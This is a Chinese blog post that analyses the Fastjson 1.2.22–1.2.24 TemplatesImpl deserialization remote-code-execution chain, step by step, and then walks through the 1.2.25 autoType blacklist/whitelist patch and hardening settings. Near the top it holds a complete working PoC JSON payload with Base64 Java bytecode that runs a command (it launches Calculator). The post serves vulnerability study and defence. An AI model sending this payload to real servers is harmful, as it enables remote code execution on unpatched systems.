入坑系列第三篇,Fastjson TemplatesImpl利用链分析,当Feature.SupportNonPublicField设置时,反序列化调用getOutputProperties方法实例化恶意类导致命令执行。主要是Fastjson 1.2.22 —— 1.2.24版本的利用方式,除此之外,在这个版本里还有一条JNDI的利用链,等着下一篇分析。真的是越分析越嗨皮,一直分析一直爽。
Fastjson TemplatesImpl 利用链
影响范围
Fastjson在1.2.24以及之前版本存在远程代码执行高危安全漏洞,之后的版本引入了autoType的黑白名单机制。在Fastjson 1.2.22 — 1.2.24 版本的反序列化漏洞利用,主要有以下两种已知利用链
- TemplateImpl
- JNDI
这次主要分析TemplateImpl利用链,下篇开坑JNDI
漏洞复现
限制条件
Feature.SupportNonPublicField 需要开启,因为_bytecodes 和 _outputProperties 两个关键属性是私有的
复现
具体PoC构造我会上传的Repo里,这里执行代码后成功执行命令,弹出计算器

PoC分析
1 | {"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQANAoACAAlCgAmACcIACgKACYAKQgAKgcAKwoABgAlBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAB5MY2MvYmxiYW5hL0Zhc3Rqc29uL0ZKUGF5bG9hZDsBAApFeGNlcHRpb25zBwAtAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwcALgEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAB3BheWxvYWQBAApTb3VyY2VGaWxlAQAORkpQYXlsb2FkLmphdmEMAAkACgcALwwAMAAxAQA9L1N5c3RlbS9BcHBsaWNhdGlvbnMvQ2FsY3VsYXRvci5hcHAvQ29udGVudHMvTWFjT1MvQ2FsY3VsYXRvcgwAMgAzAQAEY2FsYwEAHGNjL2JsYmFuYS9GYXN0anNvbi9GSlBheWxvYWQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAGAAgAAAAAAAQAAQAJAAoAAgALAAAATQACAAEAAAAXKrcAAbgAAhIDtgAEV7gAAhIFtgAEV7EAAAACAAwAAAASAAQAAAAMAAQADQANAA4AFgAPAA0AAAAMAAEAAAAXAA4ADwAAABAAAAAEAAEAEQABABIAEwACAAsAAAA/AAAAAwAAAAGxAAAAAgAMAAAABgABAAAAFAANAAAAIAADAAAAAQAOAA8AAAAAAAEAFAAVAAEAAAABABYAFwACABAAAAAEAAEAGAABABIAGQACAAsAAABJAAAABAAAAAGxAAAAAgAMAAAABgABAAAAGQANAAAAKgAEAAAAAQAOAA8AAAAAAAEAFAAVAAEAAAABABoAGwACAAAAAQAcAB0AAwAQAAAABAABABgACQAeAB8AAgALAAAAQQACAAIAAAAJuwAGWbcAB0yxAAAAAgAMAAAACgACAAAAHAAIAB0ADQAAABYAAgAAAAkAIAAhAAAACAABACIADwABABAAAAAEAAEAEQABACMAAAACACQ="],'_name':'a.b','_tfactory':{},"_outputProperties":{},"_name":"a","allowedProtocols":"all"} |
后面会详细分析整个利用链的调用过程,先来分析下PoC里的关键key:
- @type :用于存放反序列化时的目标类型,这里指定的是TemplatesImpl,Fastjson最终会按照这个类反序列化得到实例,因为调用了getOutputProperties方法,实例化了传入的bytecodes类,导致命令执行。需要注意的是,Fastjson默认只会反序列化public修饰的属性,outputProperties和_bytecodes由private修饰,必须加入
Feature.SupportNonPublicField在parseObject中才能触发; - _bytecodes:继承
AbstractTranslet类的恶意类字节码,并且使用Base64编码 - _name:调用
getTransletInstance时会判断其是否为null,为null直接return,不会进入到恶意类的实例化过程; - _tfactory:
defineTransletClasses中会调用其getExternalExtensionsMap方法,为null会出现异常; - outputProperties:漏洞利用时的关键参数,由于Fastjson反序列化过程中会调用其
getOutputProperties方法,导致bytecodes字节码成功实例化,造成命令执行。
漏洞详情
漏洞分析
TemplatesImpl.getOutputProperties()
这次分析从后向前看,先来分析下TemplateImpl实例化后是如何执行命令的,先放上调用链:
1 | TemplatesImpl() -> getOutputProperties() -> newTransformer() -> getTransletInstance() -> defineTransletClasses() -> newInstance() |
在TemplatesImpl类实例化后,会依次将其属性实例化并set到TemplatesImpl实例中,到了_outputProperties属性时会调用其getOutputProperties()方法,其中调用了newTransformer()方法
1 | public synchronized Properties getOutputProperties() { |
newTransformer()中会调用getTransletInstance() 方法,继续跟进一下
1 | public synchronized Transformer newTransformer() |
其中有两个关键的方法,defineTransletClasses() 和 newInstance() ,后者就不用多说了,实例化_class[_transletIndex] 中的Class,主要看一下前者是怎么把恶意类带到数组中去的

跟进defineTransletClasses()方法,其中调用了defindClass方法处理恶意类FJPayload的字节码,根据Java官方文档可以知道,defindClass 可以从byte[]还原出一个Class对象,成功帮我们把字节码还原为了FJPayload Class 并放入到了_class[]数组中

回到getTransletInstance()方法后,成功调用newInstance() 反射实例化恶意类,成功执行命令

以上是整个TemplatesImpl链的核心过程,下面继续分析下,Fastjson中是如何把这个类实例化出来的,并调用到getOutputProperties()方法的。
TemplatesImpl反序列化
上篇文章已经分析过Object反序列化流程了,这里主要分析下这条链里核心的地方。首先获取第一个key值为@type

根据key为默认的JSON.DEFAULT_TYPE_KEY 并且Feature.DisableSpecialKeyDetect选项未开启,根据key从json字符串中解析出类名,并获取其Class对象到clazz中

获取反序列化器JavaBeanDeserializer,开始进行反序列化

在JavaBeanDeserializer中会先根据偏移找到下一个要解析的key值_bytecodes ,然后将之前获取到的TemplatesImpl Class对象进行实例化,获取对象object


获取到TemplatesImpl对象和第一个字段名_bytecodes 进入到this.parseField开始解析属性,选取字节数组的反序列化器解析字段,将获取到的value通过field.set加入到object


中间的属性是同样的方式进行反序列化,直接跳到_outputProperties属性,进入到JavaBeanDeserializer.parseField方法

根据其类型在this.sortedFieldDeserializers 中找到了符合条件的反序列化器

调用fieldDeserializer 解析该字段,可以看到在fieldInfo中已经包含了关键的getOutputProperties Method对象
这里可能会有疑问,为什么_outputProperties key会关联到,outputProerties的getter,这里主要是因为smartMatch中有一些特殊处理,具体分析下面会单独讲到

继续跟进由于该字段类型为1所示,使用2的Map类型反序列化器,对其反序列化获取value

获取到value后,进入到this.setValue中进行set值操作,先从刚刚提到的fieldInfo中获取到了getOutputProperties Method对象,然后反射调用方法,进入TemplatesImpl.getOutputProperties()方法,之后流程就跟上个部分分析的一致了


调用链
这里贴上整个过程中的调用链,画出了核心的几个方法,有兴趣的自己可以跟一下

PoC细节
接下来就是一些PoC构造的细节分析,直接决定了能否成功触发
1. _bytecodes 为什么进行Base64编码 ?
Fastjson在调用ObjectArrayCodec.deserialze 中,调用parser.parseArray方法对字节数组进行解析

获取反序列化器进行反序列化操作,在lexer.bytesValue会有一次Base64解码操作



2. this.sortedFieldDeserializers和this.extraFieldDeserializers两组List区别
先看下FieldDeserializers 是存放了各个属性的反序列化器,其中主要属性和方法:
fieldInfo存放属性名,属性getter/setter,Field对象等信息;clazz存放属性所属类的Class对象parseField()根据fieldType获取对应的fieldValueDeserilizer完成对属性值的反序列化 和 赋值操作
this.sortedFieldDeserializers
sortedFieldDeserializers存放的属性主要来源于beanInfo,在beanInfo的build方法中会将setter/getter符合条件的FieldInfo增加到beanInfo.sortedFields中。其中的FieldInfo都包含了Method对象,最终都通过Method.invoke()进行赋值;
this.extraFieldDeserializers
extraFieldDeserializers 会将getDeclaredFields 符合修饰符条件的Field增加进去。
FieldInfo Method对象为空,最终都通过Field.set()进行赋值;
1 | ConcurrentHashMap extraFieldDeserializers = new ConcurrentHashMap(1, 0.75F, 1); |
3. 为什么反序列化会调用getOutputProperties方法
outputProperties 关联 getOutputProperties
setter和getter的选择条件,上篇已经提过在获取到Class所有的Fields和Methods后,会按照一些条件进行筛选,获取到getOutputProperties 方法,根据方法名获取属性名,将Method对象整理到FieldInfo,最终到了sortedFieldDeserializers 中

4. _outputProperties为什么会关联调用getOutputProperties 方法
_outputProperties 处理为 outputProperties
在smartMatch中会根据key值outputProperties从sortedFieldDeserializers中选择对应属性的反序列化器,第一轮未匹配到时,会自动去掉 “_” 再次获取

最终在sortedFieldDeserializers中找到了问题3中关联的getOutputProperties方法

5. 为什么要继承AbstractTranslet类 ?
defineTransletClasses 中会对bytecodes的类进行判断,父类为AbstractTranslet时会给transletIndex赋值为0,默认为-1,不是AbstractTranslet子类导致异常

安全修复
补丁分析
根据官方公告在1.2.25版本之后加入了黑白名单机制,这里跟进分析一下
在DefaultJSONParser.parseObject中将加载类的TypeUtils.loadClass方法替换为了this.config.checkAutoType()方法

1.2.25版本中默认情况下,autoTypeSupport为false(即默认使用白名单);autoTypeSupport为true时,黑名单存在绕过风险。
TemplatesImpl利用链会在进入到checkAutoType后被denyList中的黑名单匹配到抛出异常。
autoTypeSupport为false,先过黑名单过滤,再过白名单过滤,若白名单匹配到就加载此类,否则会报错;这种情况下相对安全一些,黑白名单都未匹配的情况下,会抛出异常。config.setAutoTypeSupport(true)修改autoTypeSupport为true,先过白名单过滤,若白名单匹配到就加载此类,否则进入黑名单;这种情况下,如果黑白名单都未过滤,会被TypeUtils.loadClass加载。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
if (typeName == null) {
return null;
} else {
String className = typeName.replace('$', '.');
if (this.autoTypeSupport || expectClass != null) {
int i;
String deny;
for(i = 0; i < this.acceptList.length; ++i) {
deny = this.acceptList[i];
if (className.startsWith(deny)) {
return TypeUtils.loadClass(typeName, this.defaultClassLoader);
}
}
for(i = 0; i < this.denyList.length; ++i) {
deny = this.denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}
Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
if (clazz == null) {
clazz = this.deserializers.findClass(typeName);
}
if (clazz != null) {
if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
} else {
return clazz;
}
} else {
if (!this.autoTypeSupport) {
String accept;
int i;
for(i = 0; i < this.denyList.length; ++i) {
accept = this.denyList[i];
if (className.startsWith(accept)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
for(i = 0; i < this.acceptList.length; ++i) {
accept = this.acceptList[i];
if (className.startsWith(accept)) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
}
}
// 为true时,若白名单未过滤,黑名单未过滤,都会在这里完成类加载
if (this.autoTypeSupport || expectClass != null) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
}
if (clazz != null) {
if (ClassLoader.class.isAssignableFrom(clazz) || DataSource.class.isAssignableFrom(clazz)) {
throw new JSONException("autoType is not support. " + typeName);
}
if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
return clazz;
}
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
}
// 为false时,若黑名单未过滤,白名单未过滤,在这里会抛出异常
if (!this.autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
} else {
return clazz;
}
}
}
}
1.2.25黑名单列表
1 | ['bsh', |
修复方案
- 1.2.28/1.2.29/1.2.30/1.2.31或者更新版本
- 使用白名单过滤,避免黑名单被绕过
安全编码
添加autotype白名单
1 | // 多个包名前缀,分多次addAccept |
autotype功能
- 默认情况下基于白名单进行过滤,黑白名单都未过滤到时,会抛出异常
- 打开后基于内置的黑名单实现检测,黑白名单未过滤到时,会被加载存在一定风险。后续Fastjson大多都是围绕黑名单绕过展开的。
1 | // JVM启动参数 |
添加autotype黑名单
1 | // xx.xxx是包名前缀,如果有多个包名前缀,用逗号隔开 |
总结
根据廖大神博客提到的,由于Feature.SupportNonPublicField 是1.2.22版本引入,1.2.25加入了黑白名单机制,这个PoC作用版本就在1.2.22和1.2.24内。
这篇主要分析了TemplatesImpI利用链,在这个版本后,Fastjson引入了黑白名单机制,之后的问题基本就都是和黑白名单斗智斗勇的时候了。下一篇分析JDBCRowSetlmpl利用链。
Logs
- Fastjson 1.2.24 2017年开始发现反序列化漏洞,官方发布升级公告
- Fastjson 1.2.25 加入黑白名单机制
- TemplatesImpI
- JDBCRowSetlmpl
- 各类绕过黑名单